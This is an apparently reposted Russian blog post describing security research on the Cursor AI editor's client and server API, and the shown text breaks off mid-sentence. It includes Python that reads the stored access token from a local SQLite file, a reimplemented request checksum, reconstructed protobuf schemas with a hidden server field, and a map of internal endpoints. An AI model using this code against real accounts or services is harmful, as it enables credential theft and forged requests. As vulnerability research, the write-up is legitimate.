{"id":477491,"date":"2026-04-26T16:43:38","date_gmt":"2026-04-26T16:43:38","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=477491"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=477491","title":{"rendered":"\u041e\u0445\u043e\u0442\u0430 \u043d\u0430 CVE \u0432 Cursor IDE: \u043f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 AI-\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<blockquote>\n<p><strong>Disclaimer<\/strong>: \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0412\u0441\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u041d\u0438\u043a\u0430\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0442\u0440\u0435\u0442\u044c\u0438\u0445 \u043b\u0438\u0446 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b. \u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a.<\/p>\n<\/blockquote>\n<h3>\u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435<\/h3>\n<p>Cursor \u2014 AI-powered IDE \u043d\u0430 \u0431\u0430\u0437\u0435 VS Code, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u043e\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b. \u041a\u043e\u0433\u0434\u0430 \u044f \u0437\u0430\u0434\u0443\u043c\u0430\u043b\u0441\u044f \u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430, \u0432\u043e\u0437\u043d\u0438\u043a \u0432\u043e\u043f\u0440\u043e\u0441: \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0434\u0451\u0436\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u043e\u0438\u0442 \u043c\u0435\u0436\u0434\u0443 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438 Claude 4 Opus?<\/p>\n<p>\u0421\u043f\u043e\u0439\u043b\u0435\u0440: \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0433\u043e bypass \u044f \u043d\u0435 \u043d\u0430\u0448\u0451\u043b \u2014 Cursor \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043d\u0435\u043f\u043b\u043e\u0445\u043e \u0437\u0430\u0449\u0438\u0449\u0451\u043d. \u041d\u043e \u043f\u043e \u043f\u0443\u0442\u0438 \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b <strong>4 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 CVE<\/strong>, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u043d\u0443\u043b API-surface, \u0438\u0437\u0432\u043b\u0451\u043a protobuf-\u0441\u0445\u0435\u043c\u044b \u0438\u0437 1.1M \u0441\u0442\u0440\u043e\u043a \u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e JS \u0438 \u043d\u0430\u0448\u0451\u043b <strong>\u0441\u043a\u0440\u044b\u0442\u044b\u0439 dev-\u0431\u044d\u043a\u0434\u043e\u0440<\/strong> \u0432 production-\u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.<\/p>\n<p>\u0412\u043e\u0442 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c.<\/p>\n<hr\/>\n<h3>\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435<\/h3>\n<ol>\n<li>\n<p><a href=\"#%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BA%D0%B0\" rel=\"noopener noreferrer nofollow\">\u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0\" rel=\"noopener noreferrer nofollow\">\u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430: Connect-RPC, \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#api-surface\" rel=\"noopener noreferrer nofollow\">\u041f\u043e\u043b\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 API-surface<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#cve-1\" rel=\"noopener noreferrer nofollow\">CVE-1: Prototype Pollution (CWE-1321)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#cve-2\" rel=\"noopener noreferrer nofollow\">CVE-2: devRawModelSlug \u2014 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 (CWE-489)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#cve-3\" rel=\"noopener noreferrer nofollow\">CVE-3: Internal Service Header Information Disclosure (CWE-200)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#cve-4\" rel=\"noopener noreferrer nofollow\">CVE-4: Protobuf Field Injection &amp; Wire Type Confusion<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#tested-vectors\" rel=\"noopener noreferrer nofollow\">\u041f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#what-cursor-does-right\" rel=\"noopener noreferrer nofollow\">\u0427\u0442\u043e Cursor \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"#conclusions\" rel=\"noopener noreferrer nofollow\">\u0412\u044b\u0432\u043e\u0434\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438<\/a><\/p>\n<\/li>\n<\/ol>\n<hr\/>\n<h3>1. \u0420\u0430\u0437\u0432\u0435\u0434\u043a\u0430: \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430<\/h3>\n<p>Cursor \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 VS Code (Electron). \u0412\u0435\u0441\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043a\u043e\u0434 \u043b\u0435\u0436\u0438\u0442 \u0432:<\/p>\n<pre><code>resources\/app\/out\/vs\/workbench\/workbench.desktop.main.js<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><strong>1,144,696 \u0441\u0442\u0440\u043e\u043a<\/strong> \u043c\u0438\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e JavaScript. \u042d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b \u2014 \u0437\u043e\u043b\u043e\u0442\u0430\u044f \u0436\u0438\u043b\u0430: \u0442\u0443\u0442 \u0432\u0441\u0435 protobuf-\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f, URL-\u044b API, OAuth-\u0444\u043b\u043e\u0443, Statsig feature gates \u0438 \u043b\u043e\u0433\u0438\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0435\u0439.<\/p>\n<h4>\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 protobuf-\u0441\u0445\u0435\u043c<\/h4>\n<p>Cursor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 <strong>Connect-RPC<\/strong> (<a href=\"https:\/\/connectrpc.com\/\" rel=\"noopener noreferrer nofollow\">https:\/\/connectrpc.com\/<\/a>) \u2014 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 RPC-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043f\u043e\u0432\u0435\u0440\u0445 HTTP\/2. \u0412\u0441\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u043f\u0440\u044f\u043c\u043e \u0432 JS-\u0431\u0430\u043d\u0434\u043b\u0435:<\/p>\n<pre><code class=\"javascript\">\/\/ \u041d\u0430\u0439\u0434\u0435\u043d\u043e \u0447\u0435\u0440\u0435\u0437 grep \"typeName.*agent.v1\"var $hl = {    typeName: \"agent.v1.AgentService\",    methods: {        run: {            name: \"Run\",            I: ndi,   \/\/ AgentRunRequest            O: CPt,   \/\/ AgentRunResponse (streaming)            kind: vn.ServerStreaming        },        \/\/ ...    }};<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0414\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0446\u0435\u043f\u043e\u0447\u043a\u0443 grep \u2192 sed \u2192 \u0440\u0443\u0447\u043d\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0437:<\/p>\n<pre><code class=\"bash\">grep -n \"typeName.*agent.v1.AgentRunRequest\" workbench.desktop.main.js# -&gt; 448073: C(ndi, \"typeName\", \"agent.v1.AgentRunRequest\"), C(ndi, \"fields\"...sed -n '448073,448200p' workbench.desktop.main.js<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u043f\u043e\u043b\u043d\u0430\u044f proto-\u0441\u0445\u0435\u043c\u0430 <code>AgentRunRequest<\/code>:<\/p>\n<pre><code>\/\/ \u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441\u0445\u0435\u043c\u0430 (17 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u043f\u043e\u043b\u0435\u0439)message AgentRunRequest {  ConversationState conversation_state = 1;  Action action = 2;  ModelDetails model_details = 3;       \/\/ \u2190 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u043b\u044f plan check  McpTools mcp_tools = 4;  string conversation_id = 5;  McpFileSystemOptions mcp_file_system_options = 6;  SkillOptions skill_options = 7;  string custom_system_prompt = 8;  RequestedModel requested_model = 9;   \/\/ \u2190 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u043b\u044f routing  bool suggest_next_prompt = 10;  string subagent_type_name = 11;  bool exclude_workspace_context = 12;  string harness = 13;  repeated RequestedModel selected_subagent_models = 14;  repeated ModelDetails selected_subagent_model_details = 15;  string conversation_group_id = 16;  repeated PreFetchedBlobs pre_fetched_blobs = 17;  \/\/ string dev_raw_model_slug = 18;    \/\/ \u2190 \u0421\u0415\u0420\u0412\u0415\u0420\u041d\u041e\u0415 \u041f\u041e\u041b\u0415, \u043d\u0435\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435!}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p><strong>\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043d\u0430\u0445\u043e\u0434\u043a\u0430<\/strong>: \u043f\u043e\u043b\u0435 18 (<code>devRawModelSlug<\/code>) \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u043c \u043a\u043e\u0434\u0435, \u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0435\u0433\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0438 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442. \u041e\u0431 \u044d\u0442\u043e\u043c \u043d\u0438\u0436\u0435.<\/p>\n<h4>\u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043a\u0435\u043d\u043e\u0432<\/h4>\n<p>Cursor \u0445\u0440\u0430\u043d\u0438\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 SQLite:<\/p>\n<pre><code class=\"python\">import sqlite3VSCDB = \"~\/.config\/Cursor\/User\/globalStorage\/state.vscdb\"con = sqlite3.connect(VSCDB)row = con.execute(    \"SELECT value FROM ItemTable WHERE key='cursorAuth\/accessToken'\").fetchone()TOKEN = row[0].strip('\"')<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>JWT-\u0442\u043e\u043a\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 claims:<\/p>\n<pre><code class=\"json\">{  \"sub\": \"auth0|...\",  \"iss\": \"https:\/\/prod.authentication.cursor.sh\/\",  \"aud\": \"https:\/\/cursor.com\",  \"iat\": 1751457906,  \"exp\": 1752062706,  \"scope\": \"openid profile email offline_access\",  \"azp\": \"KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB\"}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0417\u0430\u043c\u0435\u0442\u044c\u0442\u0435: <strong>\u043d\u0438\u043a\u0430\u043a\u0438\u0445 claims \u043e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0435 \u0438\u043b\u0438 \u043f\u043b\u0430\u043d\u0435<\/strong>. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.<\/p>\n<hr\/>\n<h3>2. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430<\/h3>\n<h4>\u0421\u0442\u0435\u043a<\/h4>\n<pre><code>Client (Electron)   \u2193 HTTP\/2 + Connect-RPCAPI Gateway (api2.cursor.sh, api5.cursor.sh)  \u2193 Agent Service (model routing, plan check)  \u2193LLM providers (OpenAI, Anthropic, Google)<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b: Connect-RPC<\/h4>\n<p>Connect-RPC \u0444\u0440\u0435\u0439\u043c\u0438\u0440\u0443\u0435\u0442 protobuf \u0432 HTTP\/2:<\/p>\n<pre><code>[1 byte flags][4 bytes length][protobuf payload]<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<ul>\n<li>\n<p>flags=0x00: data frame<\/p>\n<\/li>\n<li>\n<p>flags=0x02: trailer frame (JSON \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438\/\u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u043c\u0438)<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0444\u0440\u0435\u0439\u043c\u0438\u043d\u0433\u0430:<\/p>\n<pre><code class=\"python\">import struct# \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 Connect-RPC \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044fdef frame(proto_bytes):    return struct.pack('&gt;BI', 0, len(proto_bytes)) + proto_bytes + \\           struct.pack('&gt;BI', 2, 0)  # \u043f\u0443\u0441\u0442\u043e\u0439 trailer<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h4>Checksum-\u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c<\/h4>\n<p>Cursor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043a\u0430\u0441\u0442\u043e\u043c\u043d\u044b\u0439 checksum \u0434\u043b\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432:<\/p>\n<pre><code class=\"python\">def cursor_checksum(machine_id, mac_machine_id):    S = int(time.time() * 1000) \/\/ 1_000_000    x = bytearray([        (S &gt;&gt; 40) &amp; 0xFF, (S &gt;&gt; 32) &amp; 0xFF,        (S &gt;&gt; 24) &amp; 0xFF, (S &gt;&gt; 16) &amp; 0xFF,        (S &gt;&gt; 8) &amp; 0xFF,   S &amp; 0xFF    ])    e = 165  # seed    for t in range(len(x)):        x[t] = ((x[t] ^ e) + t % 256) &amp; 0xFF        e = x[t]    encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b'=')    return encoded.decode() + machine_id + '\/' + mac_machine_id<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0440\u0435\u0432\u0435\u0440\u0441\u043d\u0443\u0442 \u0438\u0437 <code>workbench.desktop.main.js<\/code>. Timestamp-based, \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u2014 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e.<\/p>\n<h4>\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432<\/h4>\n<pre><code>https:\/\/api2.cursor.sh         \u2014 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 APIhttps:\/\/agent.api5.cursor.sh   \u2014 agent-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0439https:\/\/agentn.api5.cursor.sh  \u2014 agent (\u043d\u043e\u0432\u044b\u0439?)https:\/\/agent-gcpp-uswest.api5.cursor.shhttps:\/\/agentn-gcpp-eucentral.api5.cursor.shhttps:\/\/agentn-gcpp-apsoutheast.api5.cursor.shhttps:\/\/repo42.cursor.sh       \u2014 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439?<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<hr\/>\n<h3>3. \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 API-surface<\/h3>\n<h4>gRPC-\u0441\u0435\u0440\u0432\u0438\u0441\u044b (Connect-RPC)<\/h4>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0421\u0435\u0440\u0432\u0438\u0441<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041c\u0435\u0442\u043e\u0434<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0422\u0438\u043f<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>agent.v1.AgentService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>Run<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">ServerStreaming<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>agent.v1.AgentService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>GetDefaultModelForCli<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>agent.v1.AgentService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>UploadConversationBlobs<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>aiserver.v1.DashboardService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>GetUsage<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>aiserver.v1.DashboardService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>ActivatePromotion<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>aiserver.v1.DashboardService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>GetAllowedModelIntents<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>aiserver.v1.BackgroundComposerService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>StartBackgroundComposerFromSnapshot<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>aiserver.v1.BackgroundComposerService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>AttachBackgroundComposer<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">ServerStreaming<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>aiserver.v1.BackgroundComposerService<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\"><code>ListBackgroundComposers<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">Unary<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h4>REST-\u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u044b<\/h4>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u041f\u0443\u0442\u044c<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041c\u0435\u0442\u043e\u0434<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>\/auth\/full_stripe_profile<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">GET<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>\/auth\/start-subscription-now<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">POST<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><code>\/auth\/me<\/code><\/p>\n<\/td>\n<td>\n<p align=\"left\">GET<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h4>Statsig Feature Gates (\u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043e 40+)<\/h4>\n<pre><code>cc_override_agent_backend     \u2014 \u0432\u044b\u0431\u043e\u0440 agent backenduser_is_professional          \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 pro-\u0441\u0442\u0430\u0442\u0443\u0441\u0430explicit_subagent_models      \u2014 \u044f\u0432\u043d\u044b\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u043b\u044f subagentenable_ide_enterprise_plan_usageuse_model_parametersagent_review_fake_dev<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<hr\/>\n<h3>4. CVE-1: Prototype Pollution (CWE-1321)<\/h3>\n<p><strong>Severity<\/strong>: Medium (DoS, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f) <strong>Endpoint<\/strong>: <code>POST \/auth\/start-subscription-now<\/code> <strong>Impact<\/strong>: Server crash (HTTP 500), 